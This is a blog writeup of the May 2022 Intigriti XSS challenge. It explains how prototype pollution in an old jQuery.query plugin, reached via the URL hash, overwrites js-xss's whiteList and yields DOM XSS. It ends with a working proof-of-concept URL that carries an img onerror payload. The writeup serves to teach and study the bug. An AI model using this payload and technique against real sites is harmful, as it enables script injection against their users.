GODSON'S BLOG
← Back to Writeups

May 2022 - Intigriti XSS Challenge Writeup - Prototype Pollution to Overwrite XSS filters!!!

A client-side prototype pollution in an old jQuery.query plugin lets us reach into the js-xss library's internal whiteList object and rewrite its own sanitization rules from the outside, turning a filtered innerHTML sink into a clean DOM XSS.

I came across the tweet from Intigriti about this month’s XSS challenge, and I decided to try it out.

💡 Challenge URL: https://challenge-0522.intigriti.io/

The following screenshot shows the website:

The challenge landing page

Note that it contains the word Pollution — didn’t that remind us of something?

Code Analysis

Let’s analyse the front-end code:

<!DOCTYPE html>
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script>
/**
 * jQuery.query - Query String Modification and Creation for jQuery
 * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com)
 * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/).
 * Date: 2009/8/13
 *
 * @author Blair Mitchelmore
 * @version 2.2.3
 **/
new function(settings) {
  var $separator = settings.separator || '&';
  var $spaces = settings.spaces === false ? false : true;
  var $suffix = settings.suffix === false ? '' : '[]';
  var $prefix = settings.prefix === false ? false : true;
  var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
  var $numbers = settings.numbers === false ? false : true;

  jQuery.query = new function() {
    var is = function(o, t) {
      return o != undefined && o !== null && (!!t ? o.constructor == t : true);
    };
    var parse = function(path) {
      var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
      while (m = rx.exec(match[2])) tokens.push(m[1]);
      return [base, tokens];
    };
    var set = function(target, tokens, value) {
      var o, token = tokens.shift();
      if (typeof target != 'object') target = null;
      if (token === "") {
        if (!target) target = [];
        if (is(target, Array)) {
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        } else if (is(target, Object)) {
          var i = 0;
          while (target[i++] != null);
          target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
        } else {
          target = [];
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        }
      } else if (token && token.match(/^\s*[0-9]+\s*$/)) {
        var index = parseInt(token, 10);
        if (!target) target = [];
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else if (token) {
        var index = token.replace(/^\s*|\s*$/g, "");
        if (!target) target = {};
        if (is(target, Array)) {
          var temp = {};
          for (var i = 0; i < target.length; ++i) { temp[i] = target[i]; }
          target = temp;
        }
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else {
        return value;
      }
      return target;
    };

    var queryObject = function(a) {
      var self = this;
      self.keys = {};
      if (a.queryObject) {
        jQuery.each(a.get(), function(key, val) { self.SET(key, val); });
      } else {
        self.parseNew.apply(self, arguments);
      }
      return self;
    };

    queryObject.prototype = {
      queryObject: true,
      parseNew: function(){
        var self = this;
        self.keys = {};
        jQuery.each(arguments, function() {
          var q = "" + this;
          q = q.replace(/^[?#]/,'');
          q = q.replace(/[;&]$/,'');
          if ($spaces) q = q.replace(/[+]/g,' ');
          jQuery.each(q.split(/[&;]/), function(){
            var key = decodeURIComponent(this.split('=')[0] || "");
            var val = decodeURIComponent(this.split('=')[1] || "");
            if (!key) return;
            if ($numbers) {
              if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) val = parseFloat(val);
              else if (/^[+-]?[1-9][0-9]*$/.test(val)) val = parseInt(val, 10);
            }
            val = (!val && val !== 0) ? true : val;
            self.SET(key, val);
          });
        });
        return self;
      },
      has: function(key, type) { var value = this.get(key); return is(value, type); },
      GET: function(key) {
        if (!is(key)) return this.keys;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        while (target != null && tokens.length != 0) { target = target[tokens.shift()]; }
        return typeof target == 'number' ? target : target || "";
      },
      get: function(key) {
        var target = this.GET(key);
        if (is(target, Object)) return jQuery.extend(true, {}, target);
        else if (is(target, Array)) return target.slice(0);
        return target;
      },
      SET: function(key, val) {
        var value = !is(val) ? null : val;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        this.keys[base] = set(target, tokens.slice(0), value);
        return this;
      },
      set: function(key, val) { return this.copy().SET(key, val); },
      REMOVE: function(key, val) {
        if (val) {
          var target = this.GET(key);
          if (is(target, Array)) {
            for (tval in target) { target[tval] = target[tval].toString(); }
            var index = $.inArray(val, target);
            if (index >= 0) { key = target.splice(index, 1); key = key[index]; } else { return; }
          } else if (val != target) { return; }
        }
        return this.SET(key, null).COMPACT();
      },
      remove: function(key, val) { return this.copy().REMOVE(key, val); },
      EMPTY: function() {
        var self = this;
        jQuery.each(self.keys, function(key, value) { delete self.keys[key]; });
        return self;
      },
      load: function(url) {
        var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
        var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
        return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
      },
      empty: function() { return this.copy().EMPTY(); },
      copy: function() { return new queryObject(this); },
      COMPACT: function() {
        function build(orig) {
          var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
          if (typeof orig == 'object') {
            function add(o, key, value) { if (is(o, Array)) o.push(value); else o[key] = value; }
            jQuery.each(orig, function(key, value) { if (!is(value)) return true; add(obj, key, build(value)); });
          }
          return obj;
        }
        this.keys = build(this.keys);
        return this;
      },
      compact: function() { return this.copy().COMPACT(); },
      toString: function() {
        var i = 0, queryString = [], chunks = [], self = this;
        var encode = function(str) {
          str = str + "";
          str = encodeURIComponent(str);
          if ($spaces) str = str.replace(/%20/g, "+");
          return str;
        };
        var addFields = function(arr, key, value) {
          if (!is(value) || value === false) return;
          var o = [encode(key)];
          if (value !== true) { o.push("="); o.push(encode(value)); }
          arr.push(o.join(""));
        };
        var build = function(obj, base) {
          var newKey = function(key) { return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join(""); };
          jQuery.each(obj, function(key, value) {
            if (typeof value == 'object') build(value, newKey(key));
            else addFields(chunks, newKey(key), value);
          });
        };
        build(this.keys);
        if (chunks.length > 0) queryString.push($hash);
        queryString.push(chunks.join($separator));
        return queryString.join("");
      }
    };

    return new queryObject(location.search, location.hash); // Interesting Part Bro :)
  };
}(jQuery.query || {}); // Pass in jQuery.query as settings object
</script>
<style>
// Boring CSS
</style>
</head>
<body>
<h1 id="root"></h1>
<script>
var pages = {
1: `HOME
<h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,
2: `PRODUCTS
<br>
<footer>
<img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>
</footer>`,
3: `CONTACT
<br><br>
<b>
<a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>
<a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>
<a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>
<a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>
</b>
`,
4: `
<div class="dropdown">
<div id="myDropdown" class="dropdown-content">
<a href = "?page=1">Home</a>
<a href = "?page=2">Products</a>
<a href = "?page=3">Contact</a>
</div>
</div>`
};

var pl = $.query.get('page');
if(pages[pl] != undefined){
  console.log(pages);
  document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}else{
  document.location.search = "?page=1"
}
</script>
</body>
</html>

That’s a lot of code, so let’s evaluate it a piece at a time. The page loads js-xss and jQuery, plus that jQuery.query plugin, and accepts a page GET parameter:

var pl = $.query.get('page');
if(pages[pl] != undefined){
  document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}
else{
  document.location.search = "?page=1"
}

pages is just a plain object mapping 1/2/3 to HTML strings for each tab. If page resolves to a defined key, that value gets sanitized through filterXSS and written into innerHTML.

Source and Sink

  • Source: ?page=<value> — any value, though only 13 resolve to something defined in pages.
  • Sink: innerHTML, after the value is run through filterXSS.

The interesting part of the jQuery.query plugin is its very last line:

return new queryObject(location.search, location.hash); // Interesting Part Bro :)

queryObject is a constructor, so calling it with new implicitly returns the new object — no explicit return needed inside it:

var queryObject = function(a) {
  var self = this;
  self.keys = {};
  if (a.queryObject) {
    jQuery.each(a.get(), function(key, val) { self.SET(key, val); });
  } else {
    self.parseNew.apply(self, arguments);
  }
  return self;
};

When queryObject is constructed, both location.search (the ?... GET params) and location.hash (everything after #) are passed in as arguments and parsed. So our source isn’t just location.searchlocation.hash feeds into the same parser too:

location.search vs location.hash

We can put anything after #, and it becomes an argument to queryObject.


Local Setup

I built a local copy of the page to poke at this further. $.query.get(key) ends in:

get: function(key) {
  var target = this.GET(key);
  if (is(target, Object))
    return jQuery.extend(true, {}, target);
  else if (is(target, Array))
    return target.slice(0);
  return target;
},

jQuery.extend(true, ...) performs a deep merge — historically a classic prototype-pollution gadget, though it doesn’t look exploitable here anymore (at least at time of writing).

The is helper:

var is = function(o, t) {
  return o != undefined && o !== null && (!!t ? o.constructor == t : true);
};

just checks the datatype of the first argument against the second, when a second argument is given:

The is() helper checking datatypes

this.GET(key):

GET: function(key) {
  if (!is(key)) return this.keys;
  var parsed = parse(key), base = parsed[0], tokens = parsed[1];
  var target = this.keys[base];
  while (target != null && tokens.length != 0) {
    target = target[tokens.shift()];
  }
  return typeof target == 'number' ? target : target || "";
}

calls parse(key):

var parse = function(path) {
  var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
  while (m = rx.exec(match[2])) tokens.push(m[1]);
  return [base, tokens];
};

which is just a regex that matches everything inside [...] brackets — used to turn a path like a[b][c] into a base key plus a list of nested tokens:

parse() splitting a bracketed path into base + tokens

Back in GET, if is(key) is only given one argument it always returns true (per the ternary above), parsed = parse(key) splits the path into base/tokens, and this.keys[base] is walked token-by-token via the while loop. this.keys is the plain object built up by queryObject/SET/parseNew — which brings us to the actual parser:

parseNew: function(){
  var self = this;
  self.keys = {};
  jQuery.each(arguments, function() {
    var q = "" + this;
    q = q.replace(/^[?#]/,'');
    q = q.replace(/[;&]$/,'');
    if ($spaces) q = q.replace(/[+]/g,' ');
    jQuery.each(q.split(/[&;]/), function(){
      var key = decodeURIComponent(this.split('=')[0] || "");
      var val = decodeURIComponent(this.split('=')[1] || "");
      if (!key) return;
      if ($numbers) {
        if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) val = parseFloat(val);
        else if (/^[+-]?[1-9][0-9]*$/.test(val)) val = parseInt(val, 10);
      }
      val = (!val && val !== 0) ? true : val;
      self.SET(key, val);
    });
  });
  return self;
}

This strips a leading ?/# and trailing &/;, turns + into spaces, splits on &/;, splits each pair on the first =, URL-decodes both sides, and calls self.SET(key, val) for each — which, via parse() and the set() helper, builds up this.keys as a nested object from bracket-path keys like a[__proto__][x].

One important detail: decodeURIComponent runs after the initial split('='). URL-encoding the = character in a value lets it survive that first split — useful later.

Exploit Idea

Since SET/set() walks arbitrary bracket paths into an object without guarding against __proto__, we can pollute Object.prototype itself with new key-value pairs. And since js-xss’s filterXSS internally reads its allow-list off a plain object too, we can use that same pollution to rewrite the sanitizer’s own rules from underneath it.

Overview of the pollution -> filter-bypass idea

Exploitation

Recall the source: return new queryObject(location.search, location.hash).

URL: http://localhost/index.html?page=2#a[__proto__][abcd]=xss

Changing the parameter from page=2#payload to page=abcd#a[__proto__][abcd]=xss performs prototype pollution:

Confirming prototype pollution via the hash

Our input isn’t passed directly into innerHTML — it’s sanitized first:

document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);

filterXSS comes from xss.js (https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.js), a large (1000+ line) library:

function filterXSS (html, options) {
  var xss = new FilterXSS(options);
  return xss.process(html);
}

It supports an options argument, but here it’s only called with one argument, filterXSS(pages[pl]). I couldn’t find a public bypass for the library itself, so trying to defeat filterXSS head-on felt like the unintended path. The more promising angle: xss.process() is not defined directly on the class — it’s assigned onto the prototype:

FilterXSS.prototype.process = function (html) {
  html = html || '';
  html = html.toString();
  if (!html) return '';

  var me = this;
  var options = me.options;
  var whiteList = options.whiteList;
  var onTag = options.onTag;
  var onIgnoreTag = options.onIgnoreTag;
  var onTagAttr = options.onTagAttr;
  var onIgnoreTagAttr = options.onIgnoreTagAttr;
  var safeAttrValue = options.safeAttrValue;
  var escapeHtml = options.escapeHtml;
  var cssFilter = me.cssFilter;

  if (options.stripBlankChar) {
    html = DEFAULT.stripBlankChar(html);
  }
  if (!options.allowCommentTag) {
    html = DEFAULT.stripCommentTag(html);
  }

  var stripIgnoreTagBody = false;
  if (options.stripIgnoreTagBody) {
    var stripIgnoreTagBody = DEFAULT.StripTagBody(options.stripIgnoreTagBody, onIgnoreTag);
    onIgnoreTag = stripIgnoreTagBody.onIgnoreTag;
  }

  var retHtml = parseTag(html, function (sourcePosition, position, tag, html, isClosing) {
    var info = {
      sourcePosition: sourcePosition,
      position: position,
      isClosing: isClosing,
      isWhite: (tag in whiteList)
    };

    var ret = onTag(tag, html, info);
    if (!isNull(ret)) return ret;

    if (info.isWhite) {
      if (info.isClosing) {
        return '</' + tag + '>';
      }
      var attrs = getAttrs(html);
      var whiteAttrList = whiteList[tag];
      var attrsHtml = parseAttr(attrs.html, function (name, value) {
        var isWhiteAttr = (_.indexOf(whiteAttrList, name) !== -1);
        var ret = onTagAttr(tag, name, value, isWhiteAttr);
        if (!isNull(ret)) return ret;
        if (isWhiteAttr) {
          value = safeAttrValue(tag, name, value, cssFilter);
          if (value) { return name + '="' + value + '"'; } else { return name; }
        } else {
          var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr);
          if (!isNull(ret)) return ret;
          return;
        }
      });
      var html = '<' + tag;
      if (attrsHtml) html += ' ' + attrsHtml;
      if (attrs.closing) html += ' /';
      html += '>';
      return html;
    } else {
      var ret = onIgnoreTag(tag, html, info);
      if (!isNull(ret)) return ret;
      return escapeHtml(html);
    }
  }, escapeHtml);

  if (stripIgnoreTagBody) {
    retHtml = stripIgnoreTagBody.remove(retHtml);
  }

  return retHtml;
};

This is a big function, but since we can already pollute the prototype, we don’t need to find a logic bug inside it — we can just overwrite key/values on the object prototype directly. Adding a console.log to process() locally and hitting http://localhost?page=abcd#a[__proto__][abcd]=xss confirms our polluted key (abcd: "xss") really is present on Object.prototype, right alongside things like escapeHtml:

Console showing the polluted prototype The polluted key visible on Object.prototype

Because our input is parsed after the scripts load, we can overwrite the very filters filterXSS relies on — specifically whiteList, the object that defines which tags and attributes are allowed (e.g. a is allowed with href/title/target). I couldn’t find a script gadget hiding in the existing whitelist, so instead:

Overwriting the WhiteList

http://localhost:8000/?page=1#a[__proto__][whiteList]=xss successfully overwrites whiteList:

whiteList overwritten via prototype pollution

To make it actually useful, we inject key-value pairs shaped like HTML-tag: allowed-attributes:

a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain) (URL-encoded)

img added to the whitelist with an onerror attribute allowed

Final PoC

https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain)

URL-decoded:

https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=<img src=x onerror=alert(document.domain)>&a[__proto__][whiteList][img]=src=x onerror=alert(document.domain)

The final alert(document.domain) firing

Final Thoughts

It was really fun, and I’m glad I was able to solve it. After reading other write-ups of this challenge, I saw a few similar PoCs already floating around — but I’m glad I got to dig into it deeply and solve it myself.

Resources

On This Page